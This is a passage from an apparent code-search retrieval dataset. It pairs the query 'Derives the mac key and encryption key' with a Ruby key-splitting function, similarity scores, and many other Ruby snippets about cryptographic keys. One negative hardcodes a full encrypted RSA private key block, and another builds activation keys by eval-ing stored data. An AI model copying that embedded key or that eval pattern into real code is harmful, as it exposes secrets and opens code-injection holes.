"def secret_key\n encode_tz(:edsk, 32)\n end",
"def key(password)\n decrypt(@encrypted_key, key_encryption_key(password))\n end",
"def _get_encrypt_key\n # Checking key file used to encrypt/decrypt passwords\n key_file = File.join(PrcLib.pdata_path, '.key')\n if !File.exist?(key_file)\n # Need to create a random key.\n entr = Lorj::SSLCrypt.new_encrypt_key\n\n Lorj.debug(2, \"Writing '%s' key file\", key_file)\n unless PrcLib.dir_exists?(PrcLib.pdata_path)\n PrcLib.ensure_dir_exists(PrcLib.pdata_path)\n end\n File.open(key_file, 'w+') do |out|\n out.write(Base64.encode64(entr.to_yaml))\n end\n else\n Lorj.debug(2, \"Loading '%s' key file\", key_file)\n encoded_key = IO.read(key_file)\n entr = YAML.load(Base64.decode64(encoded_key))\n end\n entr\n end",
"def gp_development_keys\n key = (0x40..0x4F).to_a.pack('C*')\n { :senc => key, :smac => key, :dek => key }\n end",
"def get_keys\n @encryption_io.get_keys\n end",
"def key_algorithm\n if self.rsa?\n :rsa\n elsif self.dsa?\n :dsa\n elsif self.ec?\n :ec\n end\n end",
"def write_key!\n dir = Tinc.config['key_dir']\n File.open(\"#{dir}/#{node.mac}\", 'w') do |f|\n f.write(self.cert_data) \n end\n end",
"def public_key\n Akero.replate(@cert.to_s, Akero::PLATE_CERT)\n end",
"def public_key\n OpenSSL::PKey.read(public_to_der)\n end",
"def public_key\n OpenSSL::PKey.read(public_to_der)\n end",
"def key\n \"#{@@PREFIX}#{@type}-#{@version.gsub(\".\",\"-\")}\"\n end",
"def find_cipher_key(*args)\n fail ArgumentError, 'Unknown key derivation name ', args[1] unless args[1] == 'PBKDF2'\n\n ::OpenSSL::PKCS5.pbkdf2_hmac_sha1(args[2], args[3], args[4], args[0].key_len)\n end",
"def key_from_checksum(password, salt)\n OpenSSL::PKCS5.pbkdf2_hmac(password, salt,\n PBKDF_ITERATIONS, KEY_LENGTH,\n OpenSSL::Digest.new('SHA256'))\n end",
"def generate_key\n begin\n multipliers = eval(self.software.multipliers)\n key = []\n self.challenge.split(\"-\").each_with_index do |word,i|\n word = word.to_i(16) # convert hex to dec\n word *= (word[0].even?) ? multipliers[i][:even] : multipliers[i][:odd]\n key << word.to_s(16).reverse[0,8].reverse # convert dec to hex, keep only 8 rightmost hex characters\n end\n self.activation_key = key.join(\"-\").upcase\n rescue\n self.activation_key = \"error!\"\n end\n end",
"def SignerKey(input = nil)\n case input\n when Transaction\n SignerKey.pre_auth_tx(input.hash)\n when /^[0-9A-Za-z+\\/=]{44}$/\n SignerKey.hash_x(Stellar::Convert.from_base64(input))\n when /^[0-9a-f]{64}$/\n SignerKey.hash_x(Stellar::Convert.from_hex(input))\n when /^.{32}$/\n SignerKey.hash_x(input)\n else\n SignerKey.ed25519(KeyPair(input))\n end\n end",
"def get_auth_key\n raise NotImplementedError\n end",
"def public_key\n encode64(curve.public_key.to_bn.to_s(2))\n end",
"def key(salt = nil)\n salt.nil? && salt = new_salt\n # Profile should raise NotImplementedErrror if unsupported key\n # generation method is used\n if profile.key_gen_method == :pbkdf2\n return p_pbkdf2_key(@passphrase, salt,\n profile.pbkdf2_iterations, profile.key_len)\n end\n end",
"def get_key_by_alt_name(key_alt_name)\n @encryption_io.get_key_by_alt_name(key_alt_name)\n end",
"def generate_key\n self.key ||= SecureRandom.urlsafe_base64 32\n end",
"def cli_key()\n\t\tENV['CLI_KEY'] || nil # The client private key File\n end",
"def create_key\n self.key = Digest::MD5.hexdigest(self.official_id.to_s + self.sent_to_email)\n end",
"def signing_key\n @signing_key\n end",
"def pubek\r\n Tem::Key.new_from_ssl_key endorsement_cert.public_key\r\n end",
"def make_key(lock, user)\n # sharer_user_id faked\n key = make_guest_key(lock, user.account.email, user)\n return key\n end",
"def signing_key; end",
"def generate_random_key\n SecureRandom.random_bytes(32)\n end",
"def public_key\n @cert.public_key\n end",
"def get_random_aes_256_gcm_key\n cipher = OpenSSL::Cipher.new(\"aes-256-gcm\")\n cipher.encrypt\n random_key = cipher.random_key\n random_key_64_string = [random_key].pack(\"m\")\n random_key_64 = random_key_64_string.unpack(\"m\")[0]\n puts \"The base 64-encoded string representation of the randomly-\" \\\n \"generated AES256-GCM key is:\"\n puts random_key_64_string\n puts \"Keep a record of this key string. You will not be able to later \" \\\n \"decrypt the contents of any object that is encrypted with this key \" \\\n \"unless you have this key.\"\n return random_key_64\nend",
"def mac\n config[\"mac\"]\n end",
"def public_key\n return self.authentication.public_key\n end",
"def public_key\n return self.authentication.public_key\n end",
"def for_storage\n return Key64.from_bits( @bit_string )\n end",
"def generate_secret_key\n r = Aws::Kms.new('saas', 'saas').decrypt(@client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n client_api_secret_d = SecureRandom.hex\n\n r = LocalCipher.new(api_salt_d).encrypt(client_api_secret_d)\n return r unless r.success?\n\n {e_secret_key: r.data[:ciphertext_blob], d_secret_key: client_api_secret_d}\n end",
"def generate_key; end",
"def key_pem; end",
"def server_key\n @server_key ||= CredentialCache.cache(cache_key(:server_key)) do\n hmac(salted_password, 'Server Key')\n end\n end",
"def key_algorithm\n if @req.public_key.kind_of? OpenSSL::PKey::RSA then\n 'RSA'\n elsif @req.public_key.kind_of? OpenSSL::PKey::DSA then\n 'DSA'\n end\n end"
] | [
"0.7500222",
"0.7319265",
"0.72643584",
"0.703711",
"0.6933901",
"0.6887599",
"0.67987984",
"0.67661184",
"0.6755895",
"0.669948",
"0.6574078",
"0.65711313",
"0.6531993",
"0.6476435",
"0.64588434",
"0.64533705",
"0.64533705",
"0.6425864",
"0.6423998",
"0.6421576",
"0.64196146",
"0.64004475",
"0.63736296",
"0.63653874",
"0.6359031",
"0.63536555",
"0.63536555",
"0.635037",
"0.634928",
"0.6305166",
"0.6303354",
"0.6303354",
"0.62899023",
"0.6280356",
"0.6277901",
"0.625685",
"0.62381816",
"0.62216353",
"0.62186795",
"0.62135166",
"0.6210488",
"0.6210488",
"0.6205257",
"0.6177382",
"0.617712",
"0.6173661",
"0.61674386",
"0.6165729",
"0.6144524",
"0.6124391",
"0.6124391",
"0.6122881",
"0.61134124",
"0.610355",
"0.60965455",
"0.60945344",
"0.6086536",
"0.60805076",
"0.6069593",
"0.6067791",
"0.6062719",
"0.60504717",
"0.6048902",
"0.6047256",
"0.60457814",
"0.6041566",
"0.6040959",
"0.60403264",
"0.6031889",
"0.60210985",
"0.6017776",
"0.6017776",
"0.6017004",
"0.6016728",
"0.5992315",
"0.5990211",
"0.59761333",
"0.5969094",
"0.5968591",
"0.5962255",
"0.5954956",
"0.5951591",
"0.59481007",
"0.5944077",
"0.5943864",
"0.5943264",
"0.59408766",
"0.59225875",
"0.5917499",
"0.591627",
"0.59059703",
"0.589966",
"0.5899225",
"0.5899225",
"0.58977354",
"0.5897282",
"0.58938235",
"0.5892289",
"0.58919215",
"0.5885353"
] | 0.6490919 | 13 |
Derives the mac key and encryption key | def derive_keys(key)
derived_key_size = key.size / 2
mac_key = key[0...derived_key_size]
enc_key = key[derived_key_size..-1]
return mac_key, enc_key
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_crypto_key_hex\n return @crypto_key if ! @crypto_key\n @crypto_key.unpack(\"H*\")\n end",
"def crypto_key\n # Returns singleton object\n EmailEncryptionKey.instance.key\n end",
"def key(hash160)\n key = Bitcoin::Key.new\n key.priv = hash160\n key\n end",
"def key(hash160)\n key = Bitcoin::Key.new\n key.priv = hash160\n key\n end",
"def derive_key(password, salt, rounds: 50000, prf: \"HMAC_SHA256\", tag: \"default_tag\")\n salt.is_a?(String) and salt = salt.force_encoding('binary')\n tag && tag.is_a?(String) and tag = tag.force_encoding('binary')\n ki = KeyInfo.new(prf, rounds, salt, tag)\n ki.derivePassword(password)\n end",
"def private_key\n @private_key.to_der\n end",
"def find_cipher_key(*args)\n fail ArgumentError, 'Unknown key derivation name ', args[1] unless args[1] == 'PBKDF2'\n\n ::OpenSSL::PKCS5.pbkdf2_hmac_sha1(args[2], args[3], args[4], args[0].key_len)\n end",
"def key\n ECDSA.build_key(public_key, private_key)\n end",
"def generate\n key = Bitcoin::Key.generate.priv\n info(\"Bitcoin private key generated: #{key[0..8]}...\")\n key\n end",
"def generate\n key = Bitcoin::Key.generate.priv\n @log.info(\"Bitcoin private key generated: #{key[0..8]}...\")\n key\n end",
"def derive_key(password, salt:, length:)\n if defined?(OpenSSL::KDF)\n OpenSSL::KDF.pbkdf2_hmac(password, salt: salt, iterations: KDF_ITERATIONS, length: length, hash: HASH_FUNC)\n else\n OpenSSL::PKCS5.pbkdf2_hmac(password, salt, KDF_ITERATIONS, length, HASH_FUNC)\n end\n end",
"def encryption_key\n\tself.data_encrypting_key ||= DataEncryptingKey.primary\n\tdata_encrypting_key.key\n end",
"def encryption_key\n return @encryption_fu_attrs['-encryption-key-'] if @encryption_fu_attrs['-encryption-key-']\n \n public_key = self.send self.encryption_fu_options[:public_key_field]\n if public_key.blank?\n public_key = self.generate_public_encryption_key\n self.send \"#{self.encryption_fu_options[:public_key_field]}=\".to_sym, public_key\n end\n private_key = self.private_encryption_key\n \n @encryption_fu_attrs['-encryption-key-'] = Digest::SHA256.hexdigest(\"-#{private_key}-#{public_key}-\")\n end",
"def priv_key\n key = master_ext_key.derive(PURPOSE_TYPE, true).derive(Tapyrus.chain_params.bip44_coin_type, true)\n\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(key) { |key, p| key.derive(p) }\n end",
"def get_encryption_key\n key_bytes = @sha_size / 8\n if @alg.respond_to?(:preshared_key)\n key = @alg.preshared_key\n unless key.size == key_bytes\n raise Sandal::KeyError, \"The pre-shared content key must be #{@sha_size} bits.\"\n end\n key\n else\n SecureRandom.random_bytes(key_bytes)\n end\n end",
"def _calculate_derived_key(dk, password, salt, iterations, dklen, hlen)\n (dklen.to_f / hlen).ceil.times do |i|\n # the start of the block in the key we're computing\n offset = hlen * i\n\n # the value of the salt for this block includes the 1-based block number\n salt[salt.bytesize - 4, 4] = [ i + 1 ].pack('N')\n\n # the final value of this block of the key\n dk[offset, hlen] = _calculate_chained_hmac(password, salt, iterations)\n end\n end",
"def get_key\n @key = Base64.decode64('MzRlZTc5ODMtNWVlNi00MTQ3LWFhODYtNDQzZWEwNjJhYmY3NzQ0OTNkNmEtMmExNS00M2ZlLWFhY2UtZTc4NTY2OTI3NTg1Cg==')\n end",
"def encrypted_private_key\n return private_key unless passphrase\n key_object.to_pem(OpenSSL::Cipher.new(\"AES-128-CBC\"), passphrase)\n end",
"def fetch_new_key(app_context)\r\n kms_client = Aws::KMS::Client.new()\r\n genkey = kms_client.generate_data_key({\r\n key_id: \"putyourmasterkeyidhere\",\r\n key_spec: \"AES_256\",\r\n encryption_context: {\r\n \"Application\" => app_context,\r\n }\r\n })\r\n return genkey.ciphertext_blob, genkey.plaintext\r\nend",
"def generate_mac \n (\"%02x\"%(rand(64)*4|2))+(0..4).inject(\"\"){|s,x|s+\":%02x\"%rand(256)}\n end",
"def generate_secret_key\n r = Aws::Kms.new('saas', 'saas').decrypt(@client.api_salt)\n return r unless r.success?\n\n api_salt_d = r.data[:plaintext]\n\n client_api_secret_d = SecureRandom.hex\n\n r = LocalCipher.new(api_salt_d).encrypt(client_api_secret_d)\n return r unless r.success?\n\n {e_secret_key: r.data[:ciphertext_blob], d_secret_key: client_api_secret_d}\n end",
"def generate_key\n begin\n multipliers = eval(self.software.multipliers)\n key = []\n self.challenge.split(\"-\").each_with_index do |word,i|\n word = word.to_i(16) # convert hex to dec\n word *= (word[0].even?) ? multipliers[i][:even] : multipliers[i][:odd]\n key << word.to_s(16).reverse[0,8].reverse # convert dec to hex, keep only 8 rightmost hex characters\n end\n self.activation_key = key.join(\"-\").upcase\n rescue\n self.activation_key = \"error!\"\n end\n end",
"def commonKey()\n\treturn \"\\xEB\\xE4\\x2A\\x22\\x5E\\x85\\x93\\xE4\\x48\\xD9\\xC5\\x45\\x73\\x81\\xAA\\xF7\"\nend",
"def key(keygap)\n key = read['pem']\n raise \"There is no key for some reason for user @#{@login}\" if key.nil?\n key = Keygap.new.merge(key, keygap)\n @log.debug(\"The private key of @#{@login} reassembled: #{key.to_s.length} chars\")\n key\n end",
"def private_key\n encode64(curve.private_key.to_s(2))\n end",
"def get_key(address)\n privkey = get_private_key address\n key = Bitcoin::Key.from_base58(privkey)\n key\nend",
"def exchange_keys\n @kex_info[ :need_bytes ] = get_kex_byte_requirement\n\n kex = @kexs.fetch( @algorithms.kex )\n result = kex.exchange_keys( self, @kex_info )\n\n @shared_secret = result[ :shared_secret ]\n hash = result[ :session_id ]\n @session_id = hash unless @session_id\n @server_key = result[ :server_key ]\n @hashing_algorithm = result[ :hashing_algorithm ]\n\n # prepare the ciphers, et. al.\n secret_bin = @shared_secret.to_ssh\n\n iv_c2s = @hashing_algorithm.digest( secret_bin +\n hash +\n \"A\" +\n @session_id )\n iv_s2c = @hashing_algorithm.digest( secret_bin +\n hash +\n \"B\" +\n @session_id )\n key_c2s = @hashing_algorithm.digest( secret_bin +\n hash +\n \"C\" +\n @session_id )\n key_s2c = @hashing_algorithm.digest( secret_bin +\n hash +\n \"D\" +\n @session_id )\n mac_key_c2s = @hashing_algorithm.digest( secret_bin +\n hash +\n \"E\" +\n @session_id )\n mac_key_s2c = @hashing_algorithm.digest( secret_bin +\n hash +\n \"F\" +\n @session_id )\n\n cipher_c2s = @ciphers.get( \n @algorithms.encryption_c2s, iv_c2s, key_c2s,\n secret_bin, hash, @hashing_algorithm,\n true )\n\n cipher_s2c = @ciphers.get( \n @algorithms.encryption_s2c, iv_s2c, key_s2c,\n secret_bin, hash, @hashing_algorithm,\n false )\n\n mac_c2s = @hmacs.get( @algorithms.mac_c2s, mac_key_c2s );\n mac_s2c = @hmacs.get( @algorithms.mac_s2c, mac_key_s2c );\n\n compression_c2s = @compressors[ @algorithms.compression_c2s ].new(\n :level => @algorithms.compression_level )\n compression_s2c = @decompressors[ @algorithms.compression_s2c ].new\n\n @packet_sender.set_algorithms cipher_c2s, mac_c2s, compression_c2s\n @packet_receiver.set_algorithms cipher_s2c, mac_s2c, compression_s2c\n end",
"def generate_key\n self.key = SecureRandom.hex(KEY_LENGTH / 2)\n end",
"def generate_mac\n crc32 = Zlib.crc32(self.id.to_s)\n offset = crc32.modulo(255)\n\n digits = [ %w(0),\n %w(0),\n %w(0),\n %w(0),\n %w(5),\n %w(e),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(5 6 7 8 9 a b c d e f),\n %w(3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f),\n %w(0 1 2 3 4 5 6 7 8 9 a b c d e f) ]\n mac = \"\"\n for x in 1..12 do\n mac += digits[x-1][offset.modulo(digits[x-1].count)]\n mac += \":\" if (x.modulo(2) == 0) && (x != 12)\n end\n mac\n end",
"def key_from_checksum(password, salt)\n OpenSSL::PKCS5.pbkdf2_hmac(password, salt,\n PBKDF_ITERATIONS, KEY_LENGTH,\n OpenSSL::Digest.new('SHA256'))\n end",
"def get_user_key()\n uri = build_uri('storage/crypto/keys')\n ret = @tools.process_get_request(uri, @user_obj.encrypted_login, @user_pwd).body\n ret_hash = JSON.parse(ret)\n payload = JSON.parse(ret_hash['payload'])\n ciphertxt = Base64.decode64(payload['ciphertext'])\n iv = Base64.decode64(payload['IV'])\n priv_elts = JSON.parse(decrypt_data(ciphertxt, @encryption_key, iv))\n Base64.decode64(priv_elts['default'][0])\n end",
"def create_key\n self.key = Digest::MD5.hexdigest(self.official_id.to_s + self.sent_to_email)\n end",
"def generate_digest(message)\n MD4_MAC.new(@key, message).digest\n end",
"def generate_keys(from_wallet_name, master_key)\n ks = { 'master' => master_key }\n %w(recovery money social memo).each do |role|\n private_key = Xgt::Ruby::Auth.generate_wif(from_wallet_name, master_key, 'recovery')\n public_key = Xgt::Ruby::Auth.wif_to_public_key(private_key, @address_prefix)\n ks[\"#{role}_private\"] = private_key\n ks[\"#{role}_public\"] = public_key\n end\n ks['wallet_name'] = Xgt::Ruby::Auth.generate_wallet_name(ks['recovery_public'])\n ks\nend",
"def write_key!\n dir = Tinc.config['key_dir']\n File.open(\"#{dir}/#{node.mac}\", 'w') do |f|\n f.write(self.cert_data) \n end\n end",
"def magento_encryption_key \n require 'securerandom'\n return SecureRandom.uuid.gsub('-', '')\nend",
"def derive_key_from(password, length: key_length)\n ActiveSupport::KeyGenerator.new(password, hash_digest_class: hash_digest_class)\n .generate_key(key_derivation_salt, length)\n end",
"def generate_key # :nodoc:\n p, g = get_parameters\n\n asn1 = OpenSSL::ASN1::Sequence(\n [\n OpenSSL::ASN1::Integer(p),\n OpenSSL::ASN1::Integer(g)\n ]\n )\n\n dh_params = OpenSSL::PKey::DH.new(asn1.to_der)\n # XXX No private key size check! In theory the latter call should work but fails on OpenSSL 3.0 as\n # dh_paramgen_subprime_len is now reserved for DHX algorithm\n # key = OpenSSL::PKey.generate_key(dh_params, \"dh_paramgen_subprime_len\" => data[:need_bytes]/8)\n if OpenSSL::PKey.respond_to?(:generate_key)\n OpenSSL::PKey.generate_key(dh_params)\n else\n dh_params.generate_key!\n dh_params\n end\n end",
"def exchange_keys\n debug { \"exchanging keys\" }\n\n algorithm = Kex::MAP[kex].new(self, session,\n :client_version_string => Net::SSH::Transport::ServerVersion::PROTO_VERSION,\n :server_version_string => session.server_version.version,\n :server_algorithm_packet => @server_packet,\n :client_algorithm_packet => @client_packet,\n :need_bytes => kex_byte_requirement,\n :logger => logger)\n result = algorithm.exchange_keys\n\t\t \n\t\t #added by jonas\n\t\t result[:type] = host_key()\n\t\t @key_data = result\n\n secret = result[:shared_secret].to_ssh\n hash = result[:session_id]\n digester = result[:hashing_algorithm]\n\n @session_id ||= hash\n\n key = Proc.new { |salt| digester.digest(secret + hash + salt + @session_id) }\n \n iv_client = key[\"A\"]\n iv_server = key[\"B\"]\n key_client = key[\"C\"]\n key_server = key[\"D\"]\n mac_key_client = key[\"E\"]\n mac_key_server = key[\"F\"]\n\n parameters = { :iv => iv_client, :key => key_client, :shared => secret,\n :hash => hash, :digester => digester }\n \n cipher_client = CipherFactory.get(encryption_client, parameters.merge(:encrypt => true))\n cipher_server = CipherFactory.get(encryption_server, parameters.merge(:iv => iv_server, :key => key_server, :decrypt => true))\n\n mac_client = HMAC.get(hmac_client, mac_key_client)\n mac_server = HMAC.get(hmac_server, mac_key_server)\n\n session.configure_client :cipher => cipher_client, :hmac => mac_client,\n :compression => normalize_compression_name(compression_client),\n :compression_level => options[:compression_level],\n :rekey_limit => options[:rekey_limit],\n :max_packets => options[:rekey_packet_limit],\n :max_blocks => options[:rekey_blocks_limit]\n\n session.configure_server :cipher => cipher_server, :hmac => mac_server,\n :compression => normalize_compression_name(compression_server),\n :rekey_limit => options[:rekey_limit],\n :max_packets => options[:rekey_packet_limit],\n :max_blocks => options[:rekey_blocks_limit]\n\n @initialized = true\n end",
"def initialize(key)\n @key = key\n @k1, @k2 = CMAC.gen_subkeys(@key)\n end",
"def get_key(id)\n @encryption_io.get_key(id)\n end",
"def make_key t\n (sig_key(t) + sum_key(t))[0..MAX_KEY_SIZE].sub(/\\0+\\z/, \"\")\n end",
"def hmac; end",
"def public_key\n DH.new(to_der)\n end",
"def obtain_key(password)\n @key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(password, @encrypt_salt, 300_000, KEYLEN)\n end",
"def generate_new_key(device: nil)\n password = nil\n dev_id = nil\n get_device(device: device) do |device|\n telnet_config = {\n 'Host' => device.ip,\n 'Port' => 8080\n }\n connection = Net::Telnet.new(telnet_config)\n connection.puts(\"genkey\")\n waitfor_config = {\n 'Match' => /./,\n 'Timeout' => false\n }\n password = nil\n dev_id = nil\n while password.nil? or dev_id.nil?\n connection.waitfor(waitfor_config) do |txt|\n while line = txt.slice!(/^.*\\n/) do\n words = line.split\n if words[0] == \"Password:\"\n password = words[1]\n elsif words[0] == \"DevID:\"\n dev_id = words[1]\n end\n end\n end\n end\n connection.close\n end\n return password, dev_id\n end",
"def generate_key\n key = RbNaCl::Random.random_bytes(RbNaCl::SecretBox.key_bytes)\n Base64.strict_encode64 key\n end",
"def generate_key\n SecureRandom.hex(32)\nend",
"def derive(secret, prefix)\n begin\n fatal(\"Nil/empty secret.\") if (secret.nil? or secret.empty?)\n key = prefix + secret\n key = OpenSSL::Digest::SHA256.digest(key)\n return key[0..15]\n rescue Exception => e\n debug(\"Error: derive: #{e}\")\n return\n end\n end",
"def secret_keygen\n ('k' + Digest.hexencode(rand(9).to_s + self.message[0..2]) + self.id.to_s) \n end",
"def masa_pki\n masakey.public_key.to_der\n end",
"def secret_key\n encode_tz(:edsk, 32)\n end",
"def generate_key!\n unless priv_key\n tmp = OpenSSL::PKey.generate_key(self)\n set_key(tmp.pub_key, tmp.priv_key)\n end\n self\n end",
"def encryptionKey=(value)\n\t\t\t@encryptionKey = value\n\t\tend",
"def regenerate_crypto\n info 'Regenerate crypto key'\n \n @session.configuration(:enforce_save) do\n zeroize 'crypto key'\n begin\n generate 'crypto key', 'rsa general-keys modulus 2048'\n rescue Exception => e\n generate 'crypto key', 'rsa modulus 2048'\n end\n set 'ip ssh version', 2\n end\n end",
"def derive_key(password, salt:, length: KEY_LENGTH, iterations: KDF_ITERATIONS, hash: HASH_FUNC)\n if defined?(OpenSSL::KDF)\n OpenSSL::KDF.pbkdf2_hmac(password, salt: salt, iterations: iterations, length: length, hash: hash)\n else\n # Ruby 2.4 compatibility\n OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, length, hash)\n end\n end",
"def private_key\n\t '-----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: DES-EDE3-CBC,3D37CD3A313CADA2 7c1TAxzv6Gn2OmZzVNtEnU9lqrEwRL65huGc9ewQQ7senY3rkBgIqBzqVarAfS0I 6OMimI57q7XywAiFn7CZ+L7fbXdNuvmGx5JDNRwylgGWR+hPi9JMKEAP1yjdJPRS 608pDXIliz5bO0GdvufQxQ91MPjE4Bs5AT8TIE3bzuFllBYJD/mLpkK4bOjLHswI 7W7afVctpYaRAwzb64Z+gUQZL0BIcQzG2wYvFU3vAs5sCtEy9o7riY/bBi78EEH6 go01DkgYLt8M7ApTwblJNJR0G/8bwy3oDgdieM42sFLzftxwjeBhIiF1ExH+KuYA ftAcROOfr8rduvNNc6jJcx2lyze+4joPjHDBXZr27bg3o3SwOQCIXUHe0DHG0PHn TbZkL2btHH36mTMq0j6P9R4t1wLhJ8Pq2LjLDwLhXw3Tb8aIX1tpShxyy9Yv8F84 Q6dfBLe4yqmvW1Db2nGmZ++gPua2OGWuNXwjivt2XrZ0fGAGri5j9bsqyvDsHwUS aRs8PaG97rgmyRGHYUoicBdgeFZhBHSLlU5F6RNUTOgK9QAHP4+bdKbMQxvhveh8 +v9o7Xa7BlqEvUYXIfBwEbHZoJx4t90XSndSS3chlfoEb6vcxOBmplUZlWs55aSL U7dW1MaE48Afav6TtM2VsN9RzwU8QSplpm7z9C9xkYVBMN6UcKIbnHH1yXdhTGEG uaEvPrtSh+BroAx1OmMjkmb0s1PjgDqLEtaYifP1OXgSS3uTqPBcpgUZDnuYQZmW Ihv7SvGdyWVQUgpv5LukyZPhXdlsCQ+8TlEYn4MOl87uxqo3KCVzVdmhAx2PWS/q wLcyOq0wJuvgAAtmI4/EnXVaP5P6WQ7rixfxdDfR1nI5TnDQkgs2xquyb0cms0J+ hXkIGvQOMAzq2Js3Ad7qyiklDASR20zZt6JPKTgZpLq682Fx+LJCCryAqjye2nAI 0w5SHEd80J/lAUEYo/HrNDBWS0JzD4lfERwUxgXxvynFI1ak38h0YP9RR2ka0pMI DJ8G6/w3Ir1qgLM/E+bTvp1YE683J/j1+vdYC/eoAbki2wgJAitYFdexLpw/qMvj xonY4iyhVkgzQb0GObesjPhr0CQ1gRC8p/A68Pk4cXejKTO95gUnD682Mu6lgYXQ e3rEnNVUruiPEzMKbkPLIsaWfUKfGRb0okQmuISXEfjyLfjkUgD6bxes+9KuHdvj pZze3dOgB1W6ZGsbrQ8ooXAOewYbhDcEqVsPOItVBoZ14CmCSd1X8RiW1dnfZBLa 5W8L7HaVLgiKUWlu2N6BE3etMK/fzhLh1K8WT6PxqzqVfJZZ9TYwVSYbcJuej0Hf ioHwYgqO22aZrp+ciJplCyOooFOKVVW45iLPtSHX64aE6FKbdPEPcndIOl0J9ah0 Hwicaw0ADP4STb83NysAZdHO2UVNEERkp2P4XmgeeH3gYHhPv3xCbbDejrrRJjeq VRer8i6HxiuJ/SxNKvbiwztF/44nWJ+9m2FoNqumTITdQAx7VU3681uEsO9ZbsJU Lbt0zwxna4X6WEtjdy5ExqLlU+wnzWgG+I11vgXSarye2oTuGPK8wjBkfEqdRTxs -----END RSA PRIVATE KEY----- '\n\tend",
"def encryption_key\n @encryption_key ||= @keys.last.tap do |key|\n key.public_tags.encrypted_data_key_id = key.id if ActiveRecord::Encryption.config.store_key_references\n end\n\n @encryption_key\n end",
"def to_bytes; @key; end",
"def to_bytes; @key; end",
"def gp_development_keys\n key = (0x40..0x4F).to_a.pack('C*')\n { :senc => key, :smac => key, :dek => key }\n end",
"def recovery_key_transformation(recoverykey)\n # recovery key stretching phase 1\n recovery_intermediate = recoverykey.split('-').map(&:to_i)\n recovery_intermediate.each do |n|\n n % 11 != 0 && (fail ArgumentError, 'Invalid recovery key')\n end\n recovery_intermediate =\n recovery_intermediate.map { |a| (a / 11) }.pack('v*')\n\n # recovery key stretching phase 2\n recovery_keys = []\n cpu = Metasm.const_get('Ia32').new\n exe = Metasm.const_get('Shellcode').new(cpu)\n cp = Metasm::C::Parser.new(exe)\n bitlocker_struct_src = <<-EOS\n typedef struct {\n unsigned char updated_hash[32];\n unsigned char password_hash[32];\n unsigned char salt[16];\n unsigned long long int hash_count;\n } bitlocker_chain_hash_t;\n EOS\n cp.parse bitlocker_struct_src\n btl_struct = Metasm::C::AllocCStruct.new(cp, cp.find_c_struct(\n 'bitlocker_chain_hash_t'))\n vmk_protected_by_recovery_key = @vmk_entries_hash[\n PROTECTION_RECOVERY_PASSWORD]\n if vmk_protected_by_recovery_key.nil?\n fail ArgumentError, 'No recovery key on disk'\n end\n vmk_protected_by_recovery_key.each do |vmk_encrypted|\n vmk_encrypted_raw = vmk_encrypted[ENTRY_TYPE_NONE][\n VALUE_TYPE_STRETCH_KEY][0]\n stretch_key_salt = vmk_encrypted_raw[4, 16]\n strcpy(Digest::SHA256.digest(recovery_intermediate),\n btl_struct.password_hash)\n strcpy(stretch_key_salt, btl_struct.salt)\n btl_struct.hash_count = 0\n sha256 = Digest::SHA256.new\n btl_struct_raw = btl_struct.str\n btl_struct_hash_count_offset = btl_struct.struct.fldoffset[\n 'hash_count']\n (1..0x100000).each do |c|\n updated_hash = sha256.digest(btl_struct_raw)\n btl_struct_raw = updated_hash + btl_struct_raw \\\n [btl_struct.updated_hash.sizeof..(\n btl_struct_hash_count_offset - 1)] + [c].pack('Q')\n sha256.reset\n end\n recovery_keys += [btl_struct_raw[btl_struct.updated_hash.stroff,\n btl_struct.updated_hash.sizeof]]\n end\n recovery_keys\n end",
"def pubkey\n # Split every 2 bytes\n paths = combined_hash.unpack('S>*')\n paths.inject(payment_base) { |key, p| key.derive(p) }\n end",
"def gen_key( string )\n md5 = Digest::MD5.hexdigest( string )\n return md5[0, 3] + md5[29, 31]\nend",
"def initialize(key, mac_class = :CMAC)\n Internals::Util.validate_bytestring(\"key\", key, length: [32, 64])\n length = key.length / 2\n\n case mac_class\n when :CMAC\n @mac = CMAC.new(key[0, length])\n when :PMAC\n @mac = PMAC.new(key[0, length])\n else raise ArgumentError, \"bad MAC class: #{mac_class} (expected :CMAC or :PMAC)\"\n end\n\n @ctr = Internals::AES::CTR.new(key[length..-1])\n end",
"def compute_key(pub_bn)\n peer = dup\n peer.set_key(pub_bn, nil)\n derive(peer)\n end",
"def compute_key(pub_bn)\n peer = dup\n peer.set_key(pub_bn, nil)\n derive(peer)\n end",
"def calc_mac(post)\n string = '';\n post.sort_by {|sym| sym.to_s}.map do |key,value|\n if key != 'MAC'\n if string.length > 0\n string += '&'\n end\n string += \"#{key}=#{value}\"\n end\n end\n post[:MAC] = OpenSSL::HMAC.hexdigest('sha256', hexto_sring(@options[:password]), string)\n end",
"def ecdh_public_key_bytes; end",
"def compute_shared_secret(server_ecdh_pubkey); end",
"def get_auth_key(content_hash, shared_key, date_str)\n key_decoded = Base64.decode64(shared_key)\n data = \"#{date_str}\\n#{content_hash}\\n\"\n hmac = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), key_decoded, data)\n Base64.encode64(hmac).strip\n end",
"def ecdsa(data, alg)\n # TODO:\n # - fixme\n # - support P-256 as SHA256\n ecdsa_key = OpenSSL::PKey::EC.new('prime256v1')\n ecdsa_key.generate_key\n ecdsa_public = OpenSSL::PKey::EC.new(ecdsa_key)\n ecdsa_public.private_key = nil\n end",
"def cryptor\n key = Rails.application.secrets.secret_key_base.bytes[0..31].pack( \"c\" * 32 )\n ActiveSupport::MessageEncryptor.new(key)\n end",
"def email_key\n \"zDMSATq0W3hmA5p3rKTgD\"\n end",
"def get_key(aliaz, password)\n\n end",
"def encryption_info\n @ms_off_crypto.encryption_info\n end",
"def generate_key(seed)\n key = \"\"\n 1.upto(KEY_LENGTH) do\n key += (((seed = (214013 * seed + 2531011) & 0x7fff_ffff) >> 16) & 0x0FF).chr # deconstructing in IDA showed Microsoft LCG\n end\n return key\nend",
"def handle_sync_key enc_key\n PRIVATE_KEY.private_decrypt enc_key\n end",
